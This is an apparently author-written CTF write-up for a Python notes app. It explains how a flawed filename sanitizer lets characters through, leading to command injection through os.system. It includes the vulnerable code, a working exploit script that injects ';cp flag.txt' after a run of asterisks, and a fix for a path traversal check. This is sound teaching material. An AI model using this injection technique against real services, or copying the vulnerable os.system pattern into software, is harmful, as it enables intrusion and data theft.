Skip to content

Notes App

This challenge involved a filter bypass resulting in a command injection vulnerability.

The primary objective of this challenge is to test participants' source code review, logical thinking and exploit development skills.

Overview

The challenge server, written in Python, allows a user to create notes, list notes and read a particular note. Each user is identified by a UUID and their notes are stored in a directory identified by their respective UUIDs.

For example, the note hello created by user 67720f35-b44e-4cb8-9e59-d9bbf0329a27 would be stored in the file /notes/67720f35-b44e-4cb8-9e59-d9bbf0329a27/hello.

Some safeguards are implemented to prevent exploitation of the service. For example, let's look at the read_note function.

python
def valid_uuid(string):
    return re.match(r"^[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}$", string)

def sanitize_filename(filename):
    length = len(filename)
    for i in range(length):
        char = filename[i]
        if char not in string.ascii_letters + string.digits:
            filename = filename.replace(char, "XX")
    return filename

def read_note(uuid, name):
    if not valid_uuid(uuid):
        return False, "Invalid UUID"
    base = os.path.join(NOTES_DIR, uuid)
    name = sanitize_filename(name)
    note_path = os.path.join(base, name)
    if os.path.commonpath([base, note_path]) != base:
        return False, "You can't do that here"
    if not os.path.isfile(note_path):
        return False, "Note doesn't exist"
    with open(note_path, "r") as f:
        return True, f.read()

First, the user's UUID must be valid. This is checked via Regex in valid_uuid.
Next, the name of the note is sanitized using sanitize_filename. We will discuss this in more detail in the next section.

The sanitized name is then joined with the path to the notes directory. The paths are then checked against the notes directory using os.path.commonpath to prevent directory traversal. As it turns out, this check is completely useless and does not work 🙃. I'll discuss this in the final section. Luckily, the impact of this failure is negated by the os.path.isfile check and the sanitize_filename function.

Once all checks pass, the contents of the file is returned to the user.

Vulnerability

The sanitize_filename function does a very poor job of removing invalid characters from the input string.

The function will only iterate through the string up to its original length. However, if the filename contains disallowed characters, each would be replaced with XX, thus increasing the length of the string.

For example, consider the input string *; of length 2. After processing the first character *, the string will become XX;. However, the ; character will never be reached as it is in the third position, but the function will only iterate up to the second position.
Therefore, disallowed characters can be fairly easily smuggled through this function.

While several participants noticed the oddities of the sanitize_filename function, most focused their efforts on searching for path traversal vulnerabilities in the read_note function. However, the exploitable vulnerability actually lies in the write_note function:

python
def write_note(uuid, name, data):
    if not valid_uuid(uuid):
        return False, "Invalid UUID"
    base = os.path.join(NOTES_DIR, uuid)
    name = sanitize_filename(name)
    note_path = os.path.join(base, name)
    if os.path.commonpath([base, note_path]) != base:
        return False, "You can't do that here"
    if os.path.isfile(note_path):
        return False, "Note already exists!"

    if not os.path.exists(base):
        os.mkdir(base)
    
    b64ed = base64.b64encode(data.encode()).decode()

    os.system(f"echo {b64ed} | base64 -d > {note_path}")

    return True, name

Most of the checks are the same as read_note. The only difference is the sanitized filename is now passed to os.system.
After bypassing sanitize_filename, we can easily inject ; to terminate the current command and execute a new custom command to read the flag. The challenge now is to put everything together and somehow extract the flag.

Exploitation

After sending about a hundred *s, the effects of sanitize_filename are completely negated.

Now, we can freely execute any command. There are multiple ways to extract the flag, but the easiest is probably to copy it to a note in your user account and subsequently read the note.

Here's an implementation of that approach:

python
import requests

target = "http://challs.nusgreyhats.org:55601/"

s = requests.Session()

res = s.post(target + "/create", data={"name": "bleh", "body": "doesn't matter"})

uuid = res.cookies.get("uuid")

s.post(target + "/create", data={"name":"*" * 100 + f";cp flag.txt notes/{uuid}/flag", "body": "doesn't matter"})

print(s.get(target + "/read?name=flag").text)

Unintended vulnerability

The following check on its own proved insufficient to prevent path traversal.

python
note_path = os.path.join(base, name)
if os.path.commonpath([base, note_path]) != base:
    return False, "You can't do that here"

For example, if base was /notes and name was ../../flag, note_path would be /notes/../../flag.
Since os.path.commonpath simply checks if the two paths start with the same path, os.path.commonpath([base, note_path]) != base would be False and the check would not be triggered.

Instead, the following check should have been used instead:

python
base = os.path.realpath(base)
note_path = os.path.realpath(os.path.join(base, name))
if os.path.commonpath([base, note_path]) != base:
    return False, "You can't do that here"

Why it wasn't a problem

Let's consider a path traversal attempt such as '*' * 50 + '/../../../flag.txt'. After passing through sanitize_filename and os.path.join, it would become something like ./notes/<uuid>/XXX...XXX/../../../flag.txt.
This input would then be passed to os.path.isfile. The problem for such an attack vector is os.path.isfile requires all parts of the path to be valid directories. Since there is no way for ./notes/<uuid>/XXX...XXX/ to be a valid directory, os.path.isfile will return False and the attack will fail.

This bug was detected shortly before the CTF started and I decided not to fix it, as it did not affect how the challenge could be solved.

Author's observations

The combination of file system access and command injection caused a few participants to be confused. The relatively large and complicated codebase was also a challenge.

Several participants were able to bypass the sanitization function but were unable to successfully build a full exploit.

One participant experienced an issue where the generated file path was too long as they had used too many * (on the order of several hundreds). Setting up a local instance via Docker, though requiring substantial investment of effort, would greatly ease troubleshooting and resolution of these issues.